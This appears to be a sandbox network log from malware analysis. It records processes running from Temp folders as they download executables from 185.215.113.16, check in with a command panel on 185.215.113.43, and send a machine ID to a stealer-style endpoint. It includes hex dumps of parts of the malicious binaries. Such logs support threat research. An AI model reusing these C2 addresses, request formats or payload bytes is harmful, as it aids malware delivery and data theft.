Oct 30, 2024 21:56:28.554212093 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Oct 30, 2024 21:56:28.554346085 CET	848	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Oct 30, 2024 21:56:28.554357052 CET	1236	IN	Data Raw: 0b 74 42 83 e8 01 75 d4 85 c9 75 36 fe c3 89 55 d0 eb c9 8b 4d fc 8d 45 c8 50 81 c1 64 01 00 00 e8 e0 06 00 00 8b 45 0c 8d 4d e8 40 89 07 e8 d8 ad 00 00 8d 4d d8 e8 d0 ad 00 00 5f 5e 5b c9 c2 08 00 49 eb 97 41 eb 94 55 8b ec 81 ec b4 00 00 00 53 Data Ascii: tBuu6UMEPdEM@M_^[IAUSV3PF3uMMWMU]MMMMEEfMTEXf\MEEfM`EdfhlEpftxE\|f
Oct 30, 2024 21:56:28.554367065 CET	1236	IN	Data Raw: 85 7c ff ff ff 89 45 c8 e9 49 fc ff ff ff 45 f8 8d 45 ec 89 7d ec 8d 8d 60 ff ff ff 50 47 e8 8b 01 00 00 8b 85 64 ff ff ff 89 45 c4 e9 25 fc ff ff 83 7d f0 00 8b 55 f8 8b 5d fc 0f 85 1b fc ff ff 85 d2 0f 85 13 fc ff ff 85 db 0f 85 0b fc ff ff e9 Data Ascii: \|EIEE}`PGdE%}U]/EHOxE}Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;
Oct 30, 2024 21:56:28.554377079 CET	1236	IN	Data Raw: 8b cb e8 f3 0c 00 00 57 b9 30 14 4d 00 e8 11 ac 00 00 80 3d 04 14 4d 00 00 75 07 8b cb e8 93 05 00 00 8b ce e8 b5 11 00 00 8d 44 24 38 50 ff 15 f8 c3 49 00 8d 4c 24 28 e8 15 6d 00 00 5f 5e 5b 8b e5 5d c2 04 00 55 8b ec 83 ec 34 53 56 57 6a 0f ff Data Ascii: W0M=MuD$8PIL$(m_^[]U4SVWj<Ihj8I54Ijc5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]u
Oct 30, 2024 21:56:28.554553032 CET	1236	IN	Data Raw: 40 89 45 ec 53 50 8d 45 e0 50 57 e8 8f 40 00 00 83 c4 10 8d 4d e0 e8 74 9f 00 00 85 f6 7e 35 8d 45 f0 50 8d 4d d0 e8 4c 3f 00 00 43 8d 45 d0 53 6a 01 50 57 e8 66 40 00 00 83 c4 10 8d 4d d0 e8 4b 9f 00 00 8d 45 f0 50 8d 4d 90 e8 23 00 00 00 3b de Data Ascii: @ESPEPW@Mt~5EPML?CESjPWf@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP
Oct 30, 2024 21:56:28.554568052 CET	848	IN	Data Raw: 23 4d 00 c7 05 e0 23 4d 00 3c c9 49 00 89 1d e4 23 4d 00 89 1d e8 23 4d 00 89 1d ec 23 4d 00 c7 05 f0 23 4d 00 66 00 00 00 e8 4e 74 00 00 8d 4c 24 28 e8 3e 05 00 00 8d 54 24 28 8b ca e8 30 fe ff ff 68 28 cb 49 00 8d 4c 24 2c e8 91 fe ff ff 8d 44 Data Ascii: #M#M<I#M#M#M#MfNtL$(>T$(0h(IL$,D$(#MPL$tL$mqD$3PjVhIhIL$cL$(c_^#M[]UVWMsMU39w +EPOEEP
Oct 30, 2024 21:56:28.561180115 CET	1236	IN	Data Raw: eb da 55 8b ec 83 e4 f8 81 ec bc 03 00 00 53 56 57 68 b4 03 00 00 33 db c7 44 24 14 a8 03 00 00 8d 44 24 18 8b f1 53 50 e8 de ea 01 00 83 c4 0c 39 9e 98 01 00 00 75 0b a1 e4 13 4d 00 89 86 98 01 00 00 39 9e a4 01 00 00 75 11 a1 e8 13 4d 00 89 86 Data Ascii: USVWh3D$D$SP9uM9uM9uMSW[Md$$D$F@D$D$D$ qD$$=hMD$PjIhM_^[]U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	50247	185.215.113.16	80	7060	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:34.302086115 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 21:56:35.423536062 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:35 GMT Content-Type: application/octet-stream Content-Length: 2837504 Last-Modified: Wed, 30 Oct 2024 20:43:26 GMT Connection: keep-alive ETag: "67229a6e-2b4c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 9c 83 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,+`Ui` @ @.rsrc`2@.idata 8@xkeovjkc+:@pxadkpqa +&+@.taggant@+"+@
Oct 30, 2024 21:56:35.423666000 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:35.423676968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:35.423687935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:35.423748016 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:35.423758984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:35.423772097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 21:56:35.423784971 CET	1236	IN	Data Raw: 5a c5 78 cb 32 22 7a 90 bb 11 78 08 ac 47 d5 ba 57 5e df aa 18 fc cb 6a e7 d7 ad 89 81 5c 3e a0 13 49 24 2f 7d 3a ff ea 63 92 b5 c0 8c 00 6a 8b c8 d8 99 ba 04 cb 6c 86 ba fa 76 84 ca d0 30 9d cc c3 89 ca 32 ce 85 e2 16 e7 98 80 a8 e1 76 1b f5 aa Data Ascii: Zx2"zxGW^j\>I$/}:cjlv02vLp#z(7fn~trVI(dhjmX0 SO;&1GM\qi),]Jkw;{W8^I3H
Oct 30, 2024 21:56:35.423856020 CET	1236	IN	Data Raw: 46 c6 8f e0 6e c6 93 ac 57 b1 18 c1 b1 e9 8d 39 f9 f1 89 c4 2a fc ab a9 e8 4e b4 d0 ce 09 84 cb f8 f1 c3 aa 5a 29 c8 cd 5f bc 05 49 cf c6 cf ca f8 25 90 f8 2a 0d e0 be 1c 62 ea 04 f7 e9 eb a1 28 ea 23 25 b2 45 7d 52 cf 49 9c cb 38 da 03 19 41 81 Data Ascii: FnW9NZ)_I%b(#%E}RI8AHtxmauH}0m?T yXNy`G)LL0;TmE\c>./xclyxNiHE%IuAKv?5bm2Dqw:
Oct 30, 2024 21:56:35.423868895 CET	1236	IN	Data Raw: 10 e3 88 d1 24 01 90 9d 0b 2e 40 cb c3 ad 7f 3f be bc 91 f8 fe d6 b3 71 b3 1f bf e9 1d a1 e5 6e 15 ee bd fb bc 42 b2 8f 49 20 65 9e d8 db c4 61 09 c9 e3 da ae 2c 01 ed c8 b9 ed ec 19 1c e0 25 41 d6 db b9 ca 20 d4 d3 bf 93 24 cc 36 76 a9 1c 7c af Data Ascii: $.@?qnBI ea,%A $6v\|+\w=}uNg4nq W<c\|}'@A7DkAx{M+%KZz ^zYNC,Y}QIQv2?&5
Oct 30, 2024 21:56:35.424386024 CET	1120	IN	Data Raw: b7 0e 59 75 e1 dd 6e a4 dc 61 75 8f 95 bd b1 ab ac d6 7d 0b ad dd cf 98 a9 f3 5b f1 af ce 5a bc ac cd d5 d6 f9 da 21 5e 2c a2 6b 02 0e 8c 8d 39 f8 87 e8 cf 0f 2b 98 88 f8 bb 81 df 16 1a dc d6 a6 28 da cd 1c 1c d1 79 79 e6 7a 5b 69 30 df 0d 19 a1 Data Ascii: Yunau}[Z!^,k9+(yyz[i0aRun~~,JN4U6e<.S&W*bcrmsm]ET#D;,bEm{3.\gn:F"]LL
Oct 30, 2024 21:56:45.955615997 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 21:56:46.244115114 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:46 GMT Content-Type: application/octet-stream Content-Length: 1911296 Last-Modified: Wed, 30 Oct 2024 20:53:56 GMT Connection: keep-alive ETag: "67229ce4-1d2a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@Lj@WkKK @.rsrc@.idata @ +@ibghtiqx1@zeltcjlxK@.taggant0K"@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	50248	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:34.464325905 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002710001&unit=246122658369
Oct 30, 2024 21:56:35.425014973 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50250	185.215.113.16	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:35.486366987 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 30, 2024 21:56:36.363791943 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:36 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Oct 30, 2024 21:56:36.363821983 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj0rmE
Oct 30, 2024 21:56:36.363832951 CET	1236	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 fb 95 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 0e 3f 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 2d 96 01 00 8d 8d f8 fb ff ff e8 f2 98 01 00 50 Data Ascii: QREPQ?-PqmPEjjRAM]UQMM\|MHM<M0M]
Oct 30, 2024 21:56:36.363843918 CET	1236	IN	Data Raw: 35 8d 4d f4 e8 96 91 01 00 8d 4d e8 e8 8e 91 01 00 8d 4d 08 e8 86 91 01 00 8d 4d 18 e8 7e 91 01 00 8d 4d 24 e8 76 91 01 00 8d 4d 34 e8 ae fb ff ff e9 11 05 00 00 68 8c 53 42 00 8d 8d cc fe ff ff 51 ff 15 a4 72 6d 00 85 c0 74 16 68 34 54 42 00 8d Data Ascii: 5MMMM~M$vM4hSBQrmth4TBRrmu}h"Bh}0E$PlQh,VBxRPQhUBREPQhTBREPQi[
Oct 30, 2024 21:56:36.363883972 CET	848	IN	Data Raw: e8 c6 8c 01 00 8d 8d 94 fe ff ff e8 bb 8c 01 00 8d 85 a0 fe ff ff 50 8b 4d e4 51 ff 15 ac 71 6d 00 85 c0 0f 85 39 fb ff ff 8b 55 e4 52 ff 15 24 71 6d 00 8d 4d e8 e8 d0 8e 01 00 8d 4d f4 e8 c8 8e 01 00 8d 4d f4 e8 80 8c 01 00 8d 4d e8 e8 78 8c 01 Data Ascii: PMQqm9UR$qmMMMMxMpMhM$`M4]UEEEM;UREk,T(REk,TREk,Pu
Oct 30, 2024 21:56:36.363897085 CET	1236	IN	Data Raw: 08 89 45 fc 83 7d fc 00 75 16 8b 45 f8 50 8b 0d 98 73 6d 00 51 e8 41 fe ff ff 83 c4 08 89 45 fc 83 7d fc 00 75 04 33 c0 eb 54 8b 55 fc c7 02 00 00 00 00 6a 10 e8 61 fe ff ff 83 c4 04 03 45 f8 8b 4d fc 39 41 04 7e 2a 8b 55 fc 8b 42 04 2b 45 f8 50 Data Ascii: E}uEPsmQAE}u3TUjaEM9A~*UB+EPMQpEUEsmMQ ]UQ}ufEPEMUztEH9tUBPMQxUztEH9tUREH
Oct 30, 2024 21:56:36.363908052 CET	1236	IN	Data Raw: 00 83 c4 0c a3 50 6b 6d 00 6a 06 68 f8 20 42 00 68 00 21 42 00 e8 8d 1f 00 00 83 c4 0c a3 40 6f 6d 00 6a 07 68 08 21 42 00 68 10 21 42 00 e8 74 1f 00 00 83 c4 0c a3 1c 70 6d 00 6a 07 68 18 21 42 00 68 20 21 42 00 e8 5b 1f 00 00 83 c4 0c a3 d0 6a Data Ascii: Pkmjh Bh!B@omjh!Bh!Btpmjh!Bh !B[jmjh(!Bh4!BBnm]Ujh@!BhX!Bomlmjhp!Bhx!B\|nmjh!Bh!B@nmjhBhB
Oct 30, 2024 21:56:36.363984108 CET	424	IN	Data Raw: 6d 00 6a 0e 68 f0 25 42 00 68 00 26 42 00 e8 c0 1a 00 00 83 c4 0c a3 68 6e 6d 00 6a 09 68 10 26 42 00 68 1c 26 42 00 e8 a7 1a 00 00 83 c4 0c a3 5c 6d 6d 00 6a 0e 68 28 26 42 00 68 38 26 42 00 e8 8e 1a 00 00 83 c4 0c a3 a8 6d 6d 00 6a 20 68 48 26 Data Ascii: mjh%Bh&Bhnmjh&Bh&B\mmjh(&Bh8&Bmmj hH&Bhl&Bujmjh&Bh&B\ nmjh&Bh&BChmmjh&Bh&B*homjh&Bh&Blmjh'Bh'Bmmjh0'Bh<'B
Oct 30, 2024 21:56:36.363995075 CET	1236	IN	Data Raw: 6c 6d 00 6a 0b 68 10 28 42 00 68 1c 28 42 00 e8 17 19 00 00 83 c4 0c a3 e4 6e 6d 00 6a 0b 68 28 28 42 00 68 34 28 42 00 e8 fe 18 00 00 83 c4 0c a3 0c 6c 6d 00 6a 09 68 40 28 42 00 68 4c 28 42 00 e8 e5 18 00 00 83 c4 0c a3 20 6c 6d 00 6a 0c 68 58 Data Ascii: lmjh(Bh(Bnmjh((Bh4(Blmjh@(BhL(B lmjhX(Bhh(Bnmjhx(Bh(B`lmjh(Bh(Bomjh(Bh(Blmjh(Bh(Bhnmjh(Bh)BOpmjh )Bh<)B6
Oct 30, 2024 21:56:36.364003897 CET	1236	IN	Data Raw: 30 2f 42 00 e8 4e 14 00 00 83 c4 0c a3 0c 6e 6d 00 6a 10 68 40 2f 42 00 68 54 2f 42 00 e8 35 14 00 00 83 c4 0c a3 8c 6e 6d 00 6a 10 68 68 2f 42 00 68 7c 2f 42 00 e8 1c 14 00 00 83 c4 0c a3 6c 6e 6d 00 6a 10 68 90 2f 42 00 68 a4 2f 42 00 e8 03 14 Data Ascii: 0/BNnmjh@/BhT/B5nmjhh/Bh\|/Blnmjh/Bh/Bnmjh/Bh/Bomjh/Bh/Bkmjh/Bh0B\omjh0Bh0B@lmjh 0Bh00BDkmjh@0BhX0BmXmmj
Oct 30, 2024 21:56:36.370556116 CET	1236	IN	Data Raw: 0c a3 c0 6d 6d 00 6a 02 68 68 36 42 00 68 6c 36 42 00 e8 6c 0f 00 00 83 c4 0c a3 a4 6d 6d 00 6a 5f 68 70 36 42 00 68 d0 36 42 00 e8 53 0f 00 00 83 c4 0c a3 f8 6b 6d 00 6a 06 68 30 37 42 00 68 38 37 42 00 e8 3a 0f 00 00 83 c4 0c a3 6c 6c 6d 00 6a Data Ascii: mmjhh6Bhl6Blmmj_hp6Bh6BSkmjh07Bh87B:llmjh@7BhH7B!lmjhP7BhX7Blmjh`7Bhh7Blmjhp7Bhx7Bjmjh7Bh7Btnmjh7Bh7Bnmjh7Bh7B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50261	185.215.113.206	80	5704	C:\Users\user\AppData\Local\Temp\1002711001\num.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:40.533123016 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 21:56:41.486191988 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 21:56:41.556607962 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHJJEHIEBKKFIDHDGHJ Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 4a 4a 45 48 49 45 42 4b 4b 46 49 44 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 44 32 42 43 38 44 36 42 42 45 32 30 39 39 39 32 35 32 38 36 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 4a 4a 45 48 49 45 42 4b 4b 46 49 44 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 4a 4a 45 48 49 45 42 4b 4b 46 49 44 48 44 47 48 4a 2d 2d 0d 0a Data Ascii: ------AFHJJEHIEBKKFIDHDGHJContent-Disposition: form-data; name="hwid"D5D2BC8D6BBE2099925286------AFHJJEHIEBKKFIDHDGHJContent-Disposition: form-data; name="build"tale------AFHJJEHIEBKKFIDHDGHJ--
Oct 30, 2024 21:56:41.845200062 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50266	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:42.418020964 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 31 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002711001&unit=246122658369
Oct 30, 2024 21:56:43.342869997 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 20:56:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50269	34.107.221.82	80	6468	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 21:56:43.413320065 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 30, 2024 21:56:44.008780956 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 30 Oct 2024 04:31:13 GMT Age: 59130 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50273	185.215.113.43	80	3288	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
